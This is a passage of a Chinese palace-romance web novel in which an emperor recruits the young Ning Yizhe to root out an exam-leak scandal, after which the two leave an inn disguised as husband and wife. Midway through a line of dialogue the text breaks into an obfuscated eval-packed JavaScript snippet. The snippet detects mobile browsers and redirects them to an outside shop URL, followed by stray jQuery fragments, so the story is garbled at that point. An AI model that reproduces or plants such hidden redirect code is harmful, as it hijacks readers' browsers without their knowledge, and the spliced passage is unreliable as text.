就见帝王挪开视线,“祁一。”
卧房中不知何时多出了一人,也蒙着面,但一身夜行衣布满灰尘,也不知道在哪里打了滚子回来的。
宁以哲见是熟人,便开始嘲笑:“你今日怎如此……风尘仆仆?”
祁一不语,只一味偷窥帝王神色。
派来这么多人和他挤房梁不说,关键时刻还是选择亲自出手。
何意味?
李承安正色道:“涉及到科举泄题,这批人暂时不能打草惊蛇,你派人做好伪装。”
“……是。”
宁以哲心神一动,从床底下掏出东西,“这面具是他们给的,看看对你们有没有用?”
……
宁以哲眼睁睁看着另一个“自己”从窗户往下,无声地落在三楼外檐,然后轻巧熟路地钻进了他的卧房。
宁以哲:“……?”
他刚刚好像并未告知?
李承安面不改色地将窗户重新关上,“今晚没事了,睡吧。”
不儿,这就睡了?
宁以哲犹疑地看了李承安一眼,仗着这份模糊不清,孟浪地问:“陛下也一块儿睡?”
孤男寡男,共处一室,只有一张床……那当然是挤挤凑合啦。
“……”
李承安下意识又瞥向那张床,随即收回视线,“酒楼里到处都是他们的人,等祁一那边将人引走后,我们再走。”
所以到底睡不睡……
寻思着李承安毕竟是皇帝,宁以哲又往里侧挪了挪,还用手拍拍自己空出的大半张床,“陛下,草民将大半张床都留给你。”
李承安黑着脸,可惜宁以哲看不清。
他沉默地往太师椅上一坐,端的是四平八稳,好似身下坐的是龙椅一般,“你睡吧,朕就在这。”
宁以哲不情不愿地躺下,原本还想吹吹枕边风,聊聊自己的入仕大事……毕竟他想要做什么事,总得有主角的支持才行。
而且他总不能参加科举吧?那得考到何年马月,还不一定卷得过那些土著……
宁以哲翻来覆去,里衣摩擦着绸缎的软被,发出细微的动静,很是磨人耳朵。
李承安原想当作没听见,宁以哲又发出一声幽幽的“唉~”
他抬手按着眉心,问:“叹什么气,是睡不着?”
宁以哲一愣,“陛下还没睡?”
“……没有。”
宁以哲不好意思地埋埋脸,他忘了,李承安还在椅子上坐着呢,怎么可能睡着。
“草民就是在想,陛下要怎么处置泄题之人?”
李承安静了几息,反问:“既是为了此事辗转难眠,你以为该如何?”
宁以哲心间微颤,却不假思索道:“泄题之事由上而下牵扯甚广,必须揪出最大的保护伞,才能拍死下面的苍蝇老虎,还天下考生一个公道!”
“……保护伞?苍蝇老虎?”
宁以哲向帝王解释道:“他们敢将手伸得这样长,朝堂之上定然有位权高位重的‘保护伞’,让底下的人有底气为虎作伥,让那些蝇营狗苟有胆子侵蚀圣意,欺压臣民,动摇国本……”
他故意将“圣意”两个字咬得比较重,也存了些想借此打探一下李承安态度的心思。
李承安对他的心思如何看待尚且不知,能感受到的是,帝王对他的说法产生了极为浓厚的兴趣。
连声音也染上几分笑意:“那你想不想——打老虎、拍苍蝇?”
宁以哲从床榻上“噌”地爬起来,借着暗色掩盖忽然翻涌上头的热血,“陛下的意思是……”
年轻的帝王最不缺的就是耐心,他语调放缓,却无比认真道:“你愿不愿意入朝为官,同朕一起,还大周一片清明?”
“我……臣、臣愿意!”
尚显稚嫩的臣子磕磕绊绊地伏拜在地上,额头紧紧地贴在交叠的指间,露出一截纤长的颈脖。削薄的肩膀激动到轻颤,雪白的里衣因为跪伏的动作贴合于腰身,将少年人线条流畅的脊背完全地显露了出来。
严格来说,是十分不成体统的一道跪拜礼。
但赤忱臣子的心跳声已经说明了一切,宁以哲几乎震耳欲聋,他努力镇压住胡乱跳动的心脏,尊崇本心道:“臣愿用尽毕生所学,为天地立心、生民立命,为往圣继绝学……为万世开太平!”
不是为了李氏的大周,而是为了天下生民,为了万世太平。但对于李承安来说,本质是一样的。若有一天江山易改,只能说明是他们李氏的后代德不配位。
李承安站起身,虽说原本就是他抛出的橄榄枝,却还是在看向那道纤瘦的身影时,觉着心间被一根细针扎得酸软,多问了一句:“你可想好了?”
宁以哲果然没有犹豫:“想好了。”
李承安垂下眼帘,喉间紧涩地落下一声:“好,”
“朕会给崔文去信,叫他给你落一个平州户籍,再举荐你进御书房。”
即使跳出自己的私心,李承安或许会说宁以哲这样的人不适合朝廷,但也得承认朝廷需要他这样的人。
其实早在那次狱中,李承安便隐约意识到,千秋江山,最需要的也并不是高高在上的君王,而恰恰是如宁以哲这般踩得到地面的人。
这一晚注定不太平静,宁以哲一直到后半夜才终于过了那道兴奋劲儿,在塌上乱七八糟地睡了过去。
至于李承安……他眼底不见半分倦色,在床榻上之人的呼吸变得绵长后,召见了原本守在暗处的戚九。
“派人去给崔文传信,要他把背景做得干净些,别让人查出来。”
-
天蒙蒙亮时,宁以哲被人大力摇醒,他睁开眼看着李承安那张近在眼前的脸,毫不客气地撇过头去,眼不见为净地继续睡了。
“……”
不是要为万世开太平吗?
难不成在梦里开?
李承安沉下脸,“宁、以、哲。”
宁以哲总觉得耳边凉飕飕的,他渐渐思绪回笼,两眼眯开一条缝,惊讶道:“陛下,你怎么在这?”
李承安简直要被他气笑了,昨晚他是醉酒了不成?
再逗下去只怕要被帝王砍头了,宁以哲艰难地离开柔软的锦被,一边找外衫一边说:“臣记起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626244|206253||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了,臣已经是陛下的人了。”
“……”
李承安意味不明地瞥着他,“哦,朕的人?”
宁以哲忽然有种不好的预感,就见端正庄严的帝王不知从何处取来一套妇人衣装,“既然都是朕的人了,想必换身衣裳不过分吧?”
昨晚二人假扮成夫妻蒙混过关,为了不打草惊蛇,今日将戏做全也是应该的。
道理宁以哲都懂,可他将那套京都妇人家常见样式的衣裙接到手中时,仍是不可避免地烧红了脸。
料子这样软,这样滑。
“但臣的脸……”总归还是线条分明、清爽俊朗的少年人。
“无妨,戴上帏帽便可。”
当下环境尚不算压抑,女子外出遮面的不多,但有时日头正烈,或是单纯的不愿示人时,戴上帏帽也不会显得突兀。
宁以哲在屋内就戴上了,雪白的纺纱下,一袭浅紫的衣裙如紫藤花般盛开,唯有腰间系着一串珍珠带,珠圆似月,衬得细腰不堪一握。
好一副美人在骨,即使遮去面容,也让人不由自主地将目光粘在他的身上。
李承安随之敛了神色,“等会不要出声,一切等上了马车再说。”
宁以哲点点头,两人一齐出了卧房。
不过这帏帽实在是把双刃剑,虽然挡住了外人的视线,但自己的眼前也隔着一层朦胧的纺织纱,瞧什么都不真切。宁以哲小心翼翼地下着楼,仍是险些踩空,好在李承安及时揽住了他。
“谢……”
李承安揽在人肩侧的手捏了捏,“夫人怎如此不小心?”
宁以哲止住声,听着这话,虽知道是在提醒他别出声露馅儿,却又莫名觉得耳尖发热。
好在已经下至一楼大厅,宁以哲紧紧跟在李承安身后,小厮见到他们二人便立即反应过来,赔着笑迎上来,“二位贵客,昨晚的事实在抱歉,掌柜的惭愧,特命我将贵客的房费双倍退还……”
他一边说着,一边又忍不住瞟向宁以哲。
奇怪,这样醒目的美人,昨日好像没有见到过。
宁以哲往后躲了躲,李承安将人护在身后,脸色沉得能滴出水来,他挥手扫落小厮呈着银两的托盘,“一而再、再而三地觊觎我夫人,你们吃了熊心豹子胆了!”
小厮一抖,这才反应过来,连忙跪下求饶,“小的不敢,贵客误会了!”
昨晚那个穿金戴银的中年老登急忙现身,他眼底泛青,显然是追了一晚上的祁一,至今没敢休息。但他到底是生意人,也不愿得罪酒店的客人,尤其是李承安这样非富即贵的。
“昨晚实在是本楼的过错,贵客放心,等捉拿住贼人,定上门赔礼道歉。”
他说得诚恳,但那双眼滴溜一转,又谄媚道:“小人这里还有一罐西域而来的珍珠粉,价值百金,正适合贵客的夫人用,不如就……”
宁以哲适时扯了下李承安的袖摆,李承安面色稍缓,但仍是不耐烦地接过,“既有夫人求情,那便放你们一马。”
“是是……”
一路恭敬地将他们送上马车,双方人马都没忍住松了口气。